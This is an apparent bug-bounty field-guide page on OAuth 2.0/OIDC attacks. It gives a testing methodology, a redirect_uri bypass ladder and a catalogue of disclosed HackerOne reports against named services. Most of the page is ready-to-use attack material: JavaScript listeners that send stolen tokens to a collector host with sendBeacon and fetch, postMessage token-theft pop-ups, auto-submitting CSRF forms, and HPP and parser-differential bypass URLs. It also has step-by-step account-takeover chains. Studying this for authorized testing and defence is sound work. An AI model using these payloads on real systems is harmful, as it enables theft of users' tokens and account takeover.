⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Attack surface/OAuth 2.0 / OIDC
Attack surface

OAuth 2.0 / OIDC

§Basic information

OAuth 2.0 (and its identity layer, OIDC) is a delegation dance that happens in the URL bar: an authorization server (the IdP) hands a short-lived code or access_token to a pre-registered redirect_uri, and the relying party (the app) trades it for a logged-in session. Every value in that dance — redirect_uri, response_type, state, the postMessage relay that ferries the token back to the opener — is attacker-influenceable, and the payoff is always the victim's code/token.

Because that credential is the victim's identity, almost every OAuth bug reduces to one of two moves: steal the credential in transit (redirect it, leak it via Referer, broadcast it over postMessage), or trick a stage into trusting a value it shouldn't (an unenforced state, an unverified email, an access_token minted for another app). Treat OAuth as an account-takeover primitive by default, not a "redirect" bug.

§Methodology

  1. Capture a baseline grant. Proxy a real "Sign in with X" flow and record the authorize request — note which value carries the credential (code in query, token in fragment) and where it lands.
  2. Fuzz redirect_uri through the full ladder below; watch where the code/token actually ends up. Anything you control = instant ATO.
  3. Probe response_type/response_mode — flip codetoken, or force response_mode=fragment when the client only wired web_message, to relocate the credential into a readable sink.
  4. Grep every relay/callback page's JS for postMessage(x,'*') and postMessage(x, valueFromURL) — the token often gets broadcast to any opener.
  5. Attack the endpoints directly — replay the authorize POST, add a .json/.xml suffix, drop state, replay a code twice at the token endpoint.
  6. Question what each stage trusts — is the IdP email verified? Is the access_token's audience (app id) checked? Is the app auto-"trusted"?
# Baseline — what does a normal grant look like? Note code-vs-token and the sink. GET /oauth/authorize?client_id=CLIENT&response_type=code&redirect_uri=https://legit/cb&state=xyz&scope=... HTTP/1.1 Host: TARGET
▸ TIP
Fragments (#token=...) never reach the server but do survive cross-host redirects and sit in window.name/Referer. Query codes (?code=...) leak to any same-host analytics/reflected sink and into the Referer of the next navigation. Match your exfil channel to which one the flow uses.

§Credential-theft vectors

Find which stage you can bend, then use the matching primitive.

redirect_uri validation bypass

The single richest sink. Validation is almost always weaker than it looks — prefix match, wildcard subdomain, path traversal, or userinfo tricks. Run the ladder and watch where the credential lands.

redirect_uri=https://COLLAB/cb # fully arbitrary host? (#665651) redirect_uri=https://legitCOLLAB.com/cb # prefix match, no host boundary (#405100) redirect_uri=https://legit.COLLAB.com/cb # allowed prefix + '.' subdomain (#405100) redirect_uri=https://COLLAB.legit.tld/cb # attacker-registrable subdomain (#151058,#665651) redirect_uri=https://legit/cb/../../../evil # path traversal, stays on host (#1861974) redirect_uri=https://legit/cb%2f%2e%2e%2f # encoded traversal redirect_uri=https://COLLAB@legit/cb # userinfo @ trick (#108113) redirect_uri=https://COLLAB%ff@legit/cb # non-ASCII flips authority (#108113) redirect_uri=/a/../../login?next=//COLLAB # path-only + open redirect (#110293)

If any host you control is accepted, the grant delivers straight to you — implicit flow puts the token right in the fragment:

GET /oauth/authorize?client_id=CLIENT&response_type=token&redirect_uri=https%3A%2F%2FCOLLAB%2Fcb&state=STATE HTTP/1.1 Host: TARGET # victim authenticates -> #access_token=... lands on COLLAB -> ATO (#665651)

When only the host is allow-listed (traversal keeps you on it), land the code on a same-host page you can read and harvest it from analytics/referrer:

redirect_uri=https://booth.pm/users/auth/pixiv/callback/../../../../ja/items/ATTACKER_PRODUCT # code delivered to YOUR product page on the trusted host; # read it from Google Analytics real-time (referrer/query capture) (#1861974)

response_type / response_mode manipulation

The IdP often honours more response modes than the client wired up. Flip codetoken, or force response_mode=fragment/query to reintroduce a URL sink the app doesn't expect — then read it with any same-origin script-exec or window.name leak.

# Client only handles web_message, but the IdP still honours fragment: GET /auth/authorize?client_id=CLIENT&redirect_uri=https%3A%2F%2FTARGET&response_type=code+id_token&state=ATTACKER_STATE&response_mode=fragment HTTP/1.1 Host: appleid.apple.com # TARGET's main-window URL becomes #state&code&access_token -> same-origin XSS/window.name reads it (#1567186)
● NOTE
Under response_mode=web_message the whole origin is trusted, so redirect_uri restrictions are irrelevant — the fix for one mode does not cover another. Enumerate every response_type/response_mode the IdP accepts, not just the one the app uses.

postMessage relay & bridge pages

SSO flows shuttle the credential back through a helper page (/auth/response.html, /oauth2/success, /bridge). Grep its JS: if the message target origin or the frame type comes from the URL, or it's a flat '*', the token is yours. window.open the flow and listen.

// Vulnerable success page runs: opener.postMessage({url: location.href /* ?code=.. */}, '*') var w = window.open('https://TARGET/oauth2/authorize?response_type=code&client_id=CLIENT' + '&redirect_uri=https%3A%2F%2FTARGET%2Foauth2%2Fsuccess&state=x'); // #314814 window.addEventListener('message', e => navigator.sendBeacon('https://COLLAB', JSON.stringify(e.data)));

When the relay derives its target/frame from the URL, point it at yourself directly. A requestID starting with window_ selects the opener branch; targetOrigin is unvalidated:

redirect_uri=https://TARGET/auth/response.html?requestID=window_UUID&baseUrl=/&targetOrigin=https://COLLAB # used on: /oauth/authorize?response_type=token&client_id=CLIENT&redirect_uri=<ENCODED_ABOVE>&prompt=none # page runs opener.postMessage(token, targetOrigin) -> token to COLLAB (#821896, #826394)

Bridge pages may validate a host parameter but never the real embedding origin — just host the legit bridge URL on your page and catch the message:

<iframe src="https://TARGET/bridge?consumer_key=KEY&host=https://legit.app"></iframe> <script>window.addEventListener('message', e => fetch('https://COLLAB/?c=' + encodeURIComponent(e.data)))</script> <!-- no interaction if the victim already authorized the app (#110467) -->

If the authorize POST is CSRF-weak, auto-submit a form to mint a code for your app inside the victim's session — or replay it to skip a consent/email gate enforced only in the UI.

<!-- .json/.xml suffix routes to a handler that skips the CSRF token (#850022) --> <form action="https://TARGET/authorization.json" method="POST"> <input name="client_id" value="ATTACKER_CLIENT_ID"> <input name="type" value="web_server"> <input name="redirect_uri" value="https://COLLAB/cb"> </form> <script>document.forms[0].submit()</script>

The gate ("validate your email", "grant consent") often lives only in the UI while the underlying POST is replayable — send it straight with the victim's cookies/CSRF/state:

POST /oauth/authorize HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded Cookie: <VICTIM_COOKIES> authenticity_token=CSRF&client_id=RP_CLIENT&redirect_uri=https%3A%2F%2Frp%2Fcb&state=STATE&response_type=code&scope= # skips the pre-grant email-verification wall -> code issued (#922456)

Token endpoint: replay & broken expiry

Codes must be single-use and short-lived. Replay the same code twice; if both return 200, single-use isn't enforced. Combined with an expiry check that reads the wrong lifetime column, a captured code stays valid for hours.

# exchange the captured code (form-encoded per RFC 6749): POST /login/oauth/token Content-Type: application/x-www-form-urlencoded grant_type=authorization_code&code=CAPTURED&redirect_uri=...&client_id=... # -> token A (200) # replay the identical request: if it 200s again, single-use isn't enforced grant_type=authorization_code&code=CAPTURED&redirect_uri=...&client_id=... # -> token B (200) = replayable (#3734676) # pivot: mint downstream creds in the victim identity GET /login/oauth/credentials Authorization: Bearer <BRIDGE_TOKEN>

Social-login token confusion (audience not verified)

A native/social login backend that accepts a provider access_token must confirm the token was minted for its own app id. If it doesn't, mint a token with any app you own and log in as anyone.

POST /api/auth/facebook HTTP/1.1 Host: TARGET Content-Type: application/json {"fb_token":"<TOKEN_MINTED_FOR_ATTACKER_APP>"} # server never calls /debug_token to check the audience -> full ATO (#314808, #101977)

state / login-CSRF & account linking

A missing, static, or session-unbound state turns OAuth into CSRF: force-link the attacker's IdP identity onto the victim, or log the victim into the attacker's account (login CSRF). Start a flow, drop or reuse state, replay the callback in a fresh session.

GET /auth/gitlab/callback?code=ATTACKER_CODE&state= HTTP/1.1 # state unenforced -> links attacker identity to victim (#104931, #55911, #46485, #225653)

§Bypasses

Filter / controlBypassSeen in
Prefix / startsWith matchallowed.com is a prefix of registrable allowed.comEVIL.com#405100
Wildcard subdomainattacker-registrable *.myshopify.com shop as return_to#151058
Path-prefix host allowlist/callback/../../../evil traverses but stays on the allowed host#1861974
Scheme-only callback checkpath-only a/../../login?... + *.twitter.com open redirect#110293
Host-only validation (userinfo)https://COLLAB@registered.tld passes hostname match#108113
Parser vs serializerCOLLAB%ff@registered.tld; %ff? after validation flips the host#108113
HPP first-validated/last-usedduplicate host=legit&host=attacker#114169
; param-delimiter differentialserver splits on ;, client only on &: host=legit;@attacker#126522
IDN homographlook-alike Unicode domain passes the host check#861940
CSRF token on authorize.json/.xml suffix routes to a handler skipping authenticity_token#850022
UI-only consent/email gateauthorize POST is replayable past the wall#922456
Consent screen (CSRF barrier)HPP trusted=0&trusted=1 marks the app auto-authorized#1148364
Origin-only redirect_uriattacker tail + subdomain open redirect → token in Referer#835437
Bridge host param checkreal embedding origin never validated#110467
Single-use / TTL on codereplay code twice; expiry reads credential lifetime not code TTL#3734676
Provider token audienceaccess_token from any app accepted (no app-id check)#314808
Browser URL parsingIE/Edge authority-parse quirk exfiltrates access_token#99435
▲ WARNING
A redirect_uri that only reflects the credential to a host you already need to control is not automatically a finding — you must show a realistically attacker-controllable origin: a registrable look-alike, a wildcard tenant subdomain you can register, or a same-host analytics/open-redirect sink. "It redirects to evil.com if I register evil.com" only counts when the check was supposed to stop exactly that.

§Escalation & impact

OAuth is a chaining hub — the stolen credential is the pivot, and a second small bug turns "loose validation" into full ATO:

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 62 in this class.

Real-world example

OAuth code/token theft via response_mode switch + sandbox XSS postMessage

◆ Critical
Specimen #1567186 · reddit · awarded · 506 votes · resolved
Program redditSurface webChain response_mode switch -> token in reddit.com fragment ->Tag oauthTag account-takeover

Root cause

Reddit's Sign-in-with-Apple uses response_mode=web_message live, but Apple still honors response_type=code+id_token & response_mode=fragment. Reddit doesn't expect tokens in the URL fragment, and www.redditmedia.com passes the parent window's full URL (incl. fragment) via window.name, letting a same-origin XSS read it.

Method

  1. Attacker pre-generates a state param from the real Apple flow (to bind the victim's code to attacker)
  2. Victim page frames www.redditmedia.com sandbox which builds an Apple authorize link with response_type=code+id_token & response_mode=fragment and the attacker state
  3. Victim completes Apple login; reddit.com main window URL becomes #state&code&access_token
  4. XSS on redditmedia (same origin as the iframe) reads window.name/current URL and exfiltrates the code
  5. Attacker replays code via opener.postMessage to sign in as victim
https://appleid.apple.com/auth/authorize?client_id=com.reddit.RedditAppleSSO&redirect_uri=https%3A%2F%2Fwww.reddit.com&response_type=code+id_token&state=<ATTACKER_STATE>&scope=&response_mode=fragment

Insight — When an IdP supports multiple response_modes and the client only wired up web_message, force response_mode=fragment/query to land the token somewhere the client will happily postMessage or leak. Combine with any same-origin script-exec (or a window.name-leaking sandbox) to read the fragment.

Real-world example

OIDC redirect_uri prefix-match validation bypass

◆ Critical
Specimen #384289 · gsa_bbp · none · 14 votes · resolved
Program gsa_bbpSurface webChain redirect_uri bypass -> steal OIDC code/token -> accounTag oauthTag account-takeover

Root cause

The /openid_connect/authorize endpoint validated redirect_uri by matching the beginning of the hostname rather than exact host, so a hostname starting with the allowed host but continuing into an attacker domain (agency.gov.example.com) passed as agency.gov, redirecting the auth code/token to the attacker.

Method

  1. Observe an SP whose allowed redirect host is agency.gov
  2. Craft redirect_uri with host agency.gov.<attacker>.com (starts with allowed hostname)
  3. Send the victim through the authorize flow with this redirect_uri
  4. Loose prefix validation accepts it; the OIDC token/code is delivered to attacker host -> session compromise
https://login.gov/openid_connect/authorize?client_id=<SP>&redirect_uri=https://agency.gov.attacker.com/cb&response_type=code&scope=openid&state=...

Insight — redirect_uri validation must be an EXACT match on scheme+host+path, not startsWith/contains on the hostname. Test with allowed.com.evil.com, allowed.com@evil.com, allowed.com.evil.com, sub.allowed.com, path traversal, and open-redirect chains on the allowed host.

Real-world example

Social-login ATO: server accepts any app's access_token (audience not verified)

◆ High
Specimen #314808 · reverb · awarded · 409 votes · resolved
Program reverbSurface apiTag oauthTag account-takeover

Root cause

The /api/auth/facebook endpoint takes a Facebook access_token and logs the user in by the email/id it resolves to, without verifying the token was issued for this application (no /debug_token app_id check). Any valid FB token from a different app works.

Method

  1. Obtain a Facebook access_token from any unrelated app
  2. POST it to the target's facebook login endpoint
  3. Server resolves the FB user and issues a session for the matching account
POST /api/auth/facebook HTTP/1.1 Host: reverb.com {"fb_token":"<ANY_APP_FB_ACCESS_TOKEN>"}

Insight — For any 'login with <provider> token' API, verify server-side audience validation: submit a token minted for a DIFFERENT client_id/app. If it authenticates, it's a mass ATO — provider tokens leak constantly. Same idea applies to Google id_token aud, Apple, etc.

Real-world example

OAuth token exfiltration by chaining redirect_uri wildcard + open redirects

◆ High
Specimen #202781 · uber · awarded · 426 votes · resolved
Program uberSurface webChain FB OAuth wildcard redirect_uri -> next_url open redirect Tag oauthTag account-takeover

Root cause

Facebook OAuth app allowed any redirect_uri matching https://auth.uber.com/login?* . That URL honored a next_url param, and login.uber.com/logout redirected based on the Referer header - chaining these hops walked the OAuth token out to an attacker site.

Method

  1. Set FB OAuth redirect_uri to https://auth.uber.com/login?next_url=https://login.uber.com/logout
  2. FB redirects to auth.uber.com which follows next_url to login.uber.com/logout
  3. logout redirects per Referer to attacker site, delivering the token
redirect_uri = https://auth.uber.com/login?next_url=https://login.uber.com/logout # FB -> auth.uber.com/login -> login.uber.com/logout -> (Referer) attacker.com#token

Insight — A too-broad OAuth redirect_uri whitelist (prefix/wildcard) is only as safe as every redirect primitive on the allowed origin. Enumerate params like next_url/return_to and Referer-driven redirects on the whitelisted host to bounce the token off-origin.

Real-world example

OAuth callback-locking bypass via path-only callback_url + open redirect

◆ High
Specimen #110293 · x · awarded · 276 votes · resolved
Program xSurface webChain callback-lock bypass -> *.twitter.com open redirect ->Tag oauthTag account-takeover

Root cause

Periscope's Twitter OAuth callback locking only checked the URL scheme, assuming callback_url is a full URI. Supplying just a PATH (e.g. a/../../login?redirect_after_login=...) passes the scheme check, and an open redirect on a *.twitter.com host walks the OAuth token to the attacker.

Method

  1. Extract embedded consumer_key/secret from the mobile app
  2. Generate a request token with a path-only callback_url that traverses to an open redirect
  3. Open redirect (twitter.com/login?redirect_after_login=cards.twitter.com card with attacker fallback URL) sends token to attacker via fragment
  4. Exchange stolen oauth_token for access_token; auto-authorize makes it interaction-less
callback_url = a/../../login?redirect_after_login=https://cards.twitter.com/<card_id> # card fallback -> https://attacker.com#&oauth_token=...

Insight — OAuth callback validators that only check scheme/protocol can be defeated with relative/path-only callback values plus a same-site open redirect (ad cards, login redirect params). Token-in-fragment survives cross-host redirects.

Real-world example

OAuth email-verification gate bypass -> ATO on relying parties

◆ High
Specimen #922456 · gitlab · awarded · 257 votes · resolved
Program gitlabSurface oauthChain unverified GitLab email -> replay authorize -> RP trusTag oauthTag account-takeover

Root cause

GitLab required a validated email before completing an OAuth grant, but the /oauth/authorize POST could be replayed directly to skip the gate. The issued token then carries an unverified email that relying parties trust as an identity, folding attacker and victim into one account.

Method

  1. Seed victim: create Bitbucket/GitHub account with victimEmail, log into the target RP
  2. In another browser create a GitLab account with the same email, never confirm it
  3. Start 'Sign in with GitLab' on the RP; hit the 'validate your email' wall
  4. Replay POST /oauth/authorize directly (with cookies/CSRF/state) to force the grant
  5. Follow the 302 code to the RP and land in the victim's account
POST /oauth/authorize HTTP/1.1 Host: gitlab.com Content-Type: application/x-www-form-urlencoded Cookie: [COOKIES] utf8=%E2%9C%93&authenticity_token=[CSRF]&client_id=<RP_CLIENT>&redirect_uri=https%3A%2F%2Frp%2Fauth%2Fgitlab%2Fcallback&state=[STATE]&response_type=code&scope=&nonce=

Insight — IdPs that assert an email must guarantee it is verified; RPs that key accounts on email inherit the IdP's verification gap. Test replaying the authorize endpoint to skip pre-grant checks, and pair an unverified-email IdP account with a victim email to take over any RP that merges by email. Also enables access to internal apps gated on @company.com.

Real-world example

Authorization code theft via path traversal in OAuth redirect_uri

◆ High
Specimen #1861974 · pixiv · 2000 · 250 votes · resolved
Program pixivSurface webChain redirect_uri path traversal -> code delivered to attackerTag oauthTag account-takeover

Root cause

redirect_uri validation only prefix-checks the allowlisted callback path, so appending ../../ traverses to any page on the same trusted host; the authorization code is then delivered to an attacker-controlled page which leaks it via Google Analytics referrer/query capture.

Method

  1. Attacker makes a public product page on the same trusted domain and enables their Google Analytics tracking ID
  2. Craft an authorize URL with redirect_uri = <allowed_callback>/../../../../<attacker_product_path>
  3. Victim clicks and completes login; browser is redirected to the attacker product page carrying ?code=
  4. Attacker reads the code from GA real-time reports
https://oauth.secure.pixiv.net/v2/auth/authorize?client_id=...&redirect_uri=https%3A%2F%2Fbooth.pm%2Fusers%2Fauth%2Fpixiv%2Fcallback/../../../../ja/items/<ATTACKER_PRODUCT_ID>&response_type=code&scope=...&state=x

Insight — Test OAuth redirect_uri for path traversal (../), not just open-redirect: if validation only checks a path prefix on an allowed host, you can land the code on any same-host page you control content/analytics on. Any same-host reflected/analytics sink then leaks the code.

Real-world example

OAuth token theft via postMessage targetOrigin control in response handler

◆ High
Specimen #821896 · playstation · 1200 · 177 votes · resolved
Program playstationSurface webChain controlled targetOrigin -> window.opener.postMessage tokeTag oauthTag account-takeover

Root cause

my.playstation.com/auth/response.html parses requestID and targetOrigin from the URL; setting requestID to start with 'window' selects window.opener.postMessage(response, targetOrigin) where targetOrigin is attacker-controlled, so the OAuth token in the URL is posted to the attacker's origin.

Method

  1. Build the response.html URL with requestID=window_... and targetOrigin=https://attacker
  2. Set it as redirect_uri (URL-encoded) on the Sony OAuth authorize endpoint with response_type=token&prompt=none
  3. Host a page that opens this flow; the popup posts the access token to the attacker origin
https://my.playstation.com/auth/response.html?requestID=window_request_<uuid>&baseUrl=/&targetOrigin=https://attacker.tld # used as redirect_uri on: https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&client_id=<id>&redirect_uri=<ENCODED_ABOVE>&prompt=none

Insight — Audit OAuth 'postMessage bridge' pages: if either the message TARGET (targetOrigin) or the frame TYPE is taken from the URL, you can redirect the token to any origin. Grep the response handler JS for postMessage(*, variableFromUrl).

Real-world example

Access-token smuggling via Referer header through chained open redirects

◆ High
Specimen #835437 · playstation · USD 1000 · 146 votes · resolved
Program playstationSurface webChain loose redirect_uri validation + subdomain open redirect ->Tag oauthTag account-takeover

Root cause

An OAuth response endpoint validates only the origin of redirect_uri, leaving the path/query attacker-controlled; chaining it to a same-parent-domain open redirect places the token-bearing URL in the Referer header sent cross-site.

Method

  1. Find an auth response endpoint (my.playstation.com/auth/response.html) that only origin-validates the redirect target
  2. Find an open redirect on an in-scope sibling subdomain (docs.playstation.com ...callback_url=)
  3. Craft returnRoute so the token-carrying page navigates victim: my.playstation -> docs.playstation open redirect -> attacker
  4. The Referer of the final hop to attacker.com contains the token/consumer_token from the earlier URL
https://my.playstation.com/auth/response.html?requestID=external_request_ID&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://attacker.com

Insight — When redirect_uri is only origin-checked, the tail is yours: chain a subdomain open redirect and read the token out of the Referer header on the cross-site hop. Any secret placed in a URL leaks via Referer on the next navigation unless referrer-policy strips it.

Real-world example

OAuth state parameter used as redirect target -> access-token theft

◆ High
Specimen #206591 · uber · awarded · 142 votes · resolved
Program uberSurface webChain state-as-redirect -> off-site redirect after login -> Tag oauthTag account-takeover

Root cause

For central.uber.com, the OAuth state parameter to login.uber.com carried a redirect location instead of an opaque CSRF token. An attacker poisons state with a central.uber.com path that redirects to a custom domain after login, exfiltrating the account OAuth access token.

Method

  1. Start the central.uber.com OAuth login and observe state holds a redirect path, not a random token
  2. Poison state with a central.uber.com path that ultimately redirects to attacker.com
  3. Victim completes login; the access token is redirected to the attacker
# login.uber.com/authorize?...&state=<central.uber.com path that redirects off-site> # post-login redirect delivers access token to attacker.com

Insight — The OAuth state parameter must be an opaque anti-CSRF nonce, never a redirect URL. When state (or a return/next field) doubles as a post-login redirect, it becomes an open-redirect token-theft primitive. Always inspect what state actually contains.

Real-world example

Mint OAuth token for a victim by forcing an app 'trusted' via HPP

◆ High
Specimen #1148364 · gitlab · awarded · 135 votes · resolved
Program gitlabSurface oauthChain HPP trusted flag -> auto-consent OAuth app -> CSRF autTag oauthTag account-takeover

Root cause

GitLab group-level OAuth apps could be marked trusted (auto-authorized, admin-only feature) by HTTP-parameter-polluting the doorkeeper_application[trusted] field on the edit request. A trusted app skips the consent screen, defeating the authorization CSRF protection so a victim visiting the authorize link silently grants a code.

Method

  1. Create a group and an OAuth application with api scope
  2. Intercept 'Save application' and append doorkeeper_application[trusted]=0&doorkeeper_application[trusted]=1 to force trusted=true
  3. Send the victim the /login/oauth/authorize link (or embed in img)
  4. Because the app is trusted, no consent is shown; capture the code and exchange it for the victim's access_token
# in the edit-application POST body, add: doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1& # then: GET /login/oauth/authorize?redirect_uri=http://attacker.com&client_id=<ID>&scope=api POST /login/oauth/access_token code=<CODE>&client_id=<ID>&client_secret=<SECRET>

Insight — Mass-assignment/HPP on privileged boolean flags (trusted, admin, verified, is_confidential) can unlock admin-only behavior. Duplicate-parameter (last-wins) tricks bypass server-side filtering of the field. A 'trusted' OAuth app removes the consent CSRF barrier - a silent token-minting primitive.

Real-world example

Client/server parser differential: ';' as param delimiter to bypass host validation

◆ High
Specimen #126522 · x · awarded · 126 votes · resolved
Program xSurface webChain parser differential -> attacker-controlled transfer host Tag oauthTag account-takeover

Root cause

Digits' server accepts both '&' and ';' as query-param delimiters, but the client JS splits only on '&'. So host=periscope.tv;@attacker.com is one param to the client (a full authority ...;@attacker.com) yet two params to the server (host=periscope.tv), passing server validation while the client sends the token to attacker.com.

Method

  1. Identify a redirect/host value validated server-side but consumed client-side
  2. Append ;@attacker.com (or ;host=attacker.com) to the trusted value
  3. Server validates only the pre-';' portion; client parses the whole string and uses the attacker authority
  4. OAuth credential data is transferred to attacker.com
https://www.digits.com/login?consumer_key=<KEY>&host=https%3A%2F%2Fwww.periscope.tv;@attacker.com // server sees host=https://www.periscope.tv ; client authority becomes www.periscope.tv;@attacker.com

Insight — Client and server rarely parse query strings identically. Test ';' as a delimiter, and the userinfo '@' trick (host;@evil / host@evil) to make validation and consumption disagree on the effective host. A general parser-differential class alongside HPP.

Real-world example

OAuth host validation bypass via HTTP Parameter Pollution

◆ High
Specimen #114169 · x · awarded · 108 votes · resolved
Program xSurface webChain HPP host bypass -> OAuth token delivered to attacker origTag oauthTag account-takeover

Root cause

Digits validated the OAuth 'host' param against the app's registered domain, but with duplicate host params the validator checked the FIRST while the transfer step used the LAST. Supplying host=periscope.tv&host=attacker.com passes validation yet delivers the token to attacker.com.

Method

  1. Take the legitimate login URL with host=<registered domain>
  2. Append a second host param pointing to attacker.com
  3. Validation passes on the first host; the credential transfer uses the last host
  4. Victim's OAuth data is sent to attacker.com
https://www.digits.com/login?consumer_key=<KEY>&host=https%3A%2F%2Fwww.periscope.tv&host=https%3A%2F%2Fattacker.com // validated: first host ; used: last host

Insight — HTTP Parameter Pollution defeats validators that read a different occurrence of a duplicated param than the consumer does (first-validated / last-used, or vice versa). Always duplicate security-relevant params (host, redirect_uri, amount, role) and observe which copy each stage honors.

Real-world example

OAuth access-token impersonation (missing audience validation)

◆ High
Specimen #739321 · picsart · none · 101 votes · resolved
Program picsartSurface apiChain OAuth audience confusion -> account takeoverTag oauthTag account-takeover

Root cause

App logs a user in using a social OAuth access_token without verifying the token was issued for its own client_id. A token minted for a different app (or a malicious app the same user authorized) is accepted, enabling account takeover.

Method

  1. Register/control a second app that uses the same IdP (Facebook/Google) as the target
  2. Get a victim who has authorized both the target and your app with the same social account
  3. Collect the OAuth access_token issued to your app for that user
  4. Submit that access_token to the target's social-login endpoint
  5. Target accepts it and logs you into the victim's account
POST /auth/facebook\n{ "access_token": "<token_issued_to_ATTACKER_app_for_VICTIM>" }\n// accepted because server never calls the provider to confirm token.client_id == TARGET_client_id

Insight — Whenever an app accepts a social/OAuth access_token for login, verify the token's audience/appId matches your own client_id via the provider's debug/token-info API. Test by feeding a token minted for a different client_id.

Real-world example

OAuth token leak via postMessage to window.opener with user-controlled targetOrigin=*

◆ High
Specimen #826394 · playstation · USD 1000 · 73 votes · resolved
Program playstationSurface webChain token theft -> account/resource accessTag oauthTag account-takeover

Root cause

The auth response page derives the postMessage frame type and targetOrigin from attacker-controllable GET params (requestID prefix + targetOrigin); setting requestID to window_* and targetOrigin=* makes it post the access token to window.opener, i.e. the attacker page that opened it.

Method

  1. window.open the OAuth authorize URL with redirect_uri's requestID set to 'window_...' and targetOrigin=*
  2. If the victim is already logged in (prompt=none), the token is returned to /auth/response.html
  3. That page calls window.opener.postMessage(tokenData, '*')
  4. Attacker's onmessage handler on the opener receives the token
var x = window.open('https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&...&redirect_uri='+encodeURIComponent('https://my.playstation.com/auth/response.html?requestID=window_request_ID&baseUrl=/&targetOrigin=*')+'&prompt=none'); window.onmessage = e => exfil(JSON.stringify(e.data));

Insight — When a postMessage target origin is taken from a URL param (or the frame type decides opener vs parent), an attacker can redirect the token to themselves. Always check that response/relay pages hardcode targetOrigin and validate the opener; treat requestID-style routing params as attacker input.

Real-world example

OAuth code theft via postMessage targetOrigin '*'

◆ High
Specimen #314814 · semrush · awarded · 70 votes · resolved
Program semrushSurface webChain code leak -> token exchange -> victim data access; + cTag oauthTag account-takeover

Root cause

The oauth2/success page posts its location.href (containing the authorization code) to window.opener with targetOrigin '*' and no opener-origin check; any site that window.opens it can read the victim's code and exchange it for tokens.

Method

  1. Attacker page window.open()s the OAuth authorize URL and registers a message listener
  2. Victim (logged in) clicks Approve (or via clickjack)
  3. success page posts {url: location.href with ?code=...} to opener with '*'
  4. Attacker reads code, POST /oauth2/access_token with public client_id/secret -> access+refresh token
var d=window.open('https://TARGET/oauth2/authorize?response_type=code&client_id=seoquake&redirect_uri=https%3A%2F%2FTARGET%2Foauth2%2Fsuccess&state=...'); window.addEventListener('message',e=>alert(JSON.stringify(e.data))); // vulnerable success page: opener.postMessage({type:'...:oauth:success',url:location.href},'*')

Insight — Audit OAuth success/redirect pages for opener.postMessage(...,'*'). If the code/token rides in the URL and is broadcast to any opener, window.open the flow from an attacker page and capture the message.

Real-world example

OAuth redirect_uri unvalidated -> access token theft

◆ High
Specimen #665651 · gsa_bbp · 750 · 67 votes · resolved
Program gsa_bbpSurface webChain open redirect on OAuth redirect_uri -> token/code exfiltrTag oauthTag account-takeover

Root cause

Authorization endpoint accepts an arbitrary redirect_uri (and in a subdomain-whitelist variant, any subdomain), delivering the code/token to an attacker-controlled callback.

Method

  1. Open /oauth/authorize with response_type=token and redirect_uri=https://evil.com/auth/callback
  2. Victim authenticates with their account
  3. Token/code is delivered to evil.com in the fragment/query => account takeover
https://login.fr.cloud.gov/oauth/authorize?client_id=CLIENT&response_type=token&redirect_uri=https%3A%2F%2Fevil.com%2Fauth%2Fcallback&state=STATE

Insight — Always fuzz redirect_uri: full arbitrary host, then narrower bypasses (subdomain of a registered host, added path, @ userinfo). response_type=token leaks the token straight into the URL fragment. A too-broad subdomain whitelist still leaks the code if any subdomain is attacker-reachable (e.g. via subdomain takeover).

Real-world example

OAuth authorize CSRF via .json/.xml suffix skipping token check

◆ High
Specimen #850022 · basecamp · awarded · 44 votes · resolved
Program basecampSurface webChain CSRF forced OAuth authorize -> auth code -> access tokTag oauthTag account-takeover

Root cause

The OAuth2 authorization POST enforces authenticity_token only on the bare path; requesting authorization.json (or .xml) skips the check, so a forged form silently authorizes the attacker's app and yields an auth code -> full API access.

Method

  1. POST to /authorization.json with client_id/redirect_uri and no/empty authenticity_token
  2. Server issues the auth code to attacker's redirect_uri
  3. Exchange code+client_secret at /authorization/token for an access token
<form action="https://launchpad.37signals.com/authorization.json" method="POST"> <input name="client_id" value="ATTACKER_CLIENT_ID"> <input name="type" value="web_server"> <input name="redirect_uri" value="ATTACKER_REDIRECT"> <input name="commit" value=""> </form><script>document.forms[0].submit()</script>

Insight — Response-format suffixes (.json/.xml) often route to a handler with different (weaker) CSRF enforcement. Try adding .json/.xml to any protected endpoint. Forced OAuth authorization = attacker gains API access without consent.

Real-world example

OAuth token theft via wildcard redirect_uri + open redirect

◆ High
Specimen #131202 · x · USD 840 · 31 votes · resolved
Program xSurface webChain Open redirect + wildcard redirect_uri + %2523 -> steal acTag oauthTag open-redirect

Root cause

The OAuth app registered a wildcard redirect_uri (http(s)://*.twitter.com/*); an open redirect on an allowed subdomain, plus a double-encoded fragment (%2523 -> %23 -> #), forwarded the access_token in location.hash to an attacker-controlled destination.

Method

  1. Find an open redirect on an in-scope subdomain (cards.twitter.com/.../yyms -> external)
  2. Append %2523 so the provider decodes it to # and appends the token as a fragment
  3. Use this as the OAuth redirect_uri; it matches the *.twitter.com/* wildcard
  4. Victim (already authorized) clicks once; token lands in the fragment and is read via location.hash
redirect_uri=https://cards.twitter.com/cards/18ce53y6aap/yyms%2523 // attacker page: token = location.hash

Insight — Wildcard/loose redirect_uri + any open redirect on an allowed host = token exfiltration. Chase double/triple URL-encoding of # (%23/%2523) to smuggle the fragment past the redirector.

Real-world example

Unvalidated OAuth redirect parameter leaks auth code -> account takeover

◆ High
Specimen #770548 · 8x8-bounty · none · 18 votes · resolved
Program 8x8-bountySurface webChain open redirect in OAuth -> auth code leak -> admin SSO Tag oauthTag account-takeover

Root cause

The admin app's OAuth flow used a successRedirectUrl parameter that accepted any domain, so the returned authorization code was delivered to an attacker-controlled host, which could then exchange/replay it to log in as the victim.

Method

  1. Start the admin add-account OAuth (Google) flow
  2. Set successRedirectUrl to an attacker domain
  3. Victim completes auth; the code lands on the attacker host
  4. Attacker uses the leaked code to authenticate as the victim admin
...oauth?...&successRedirectUrl=https://attacker.tld/ # code/token sent to arbitrary domain

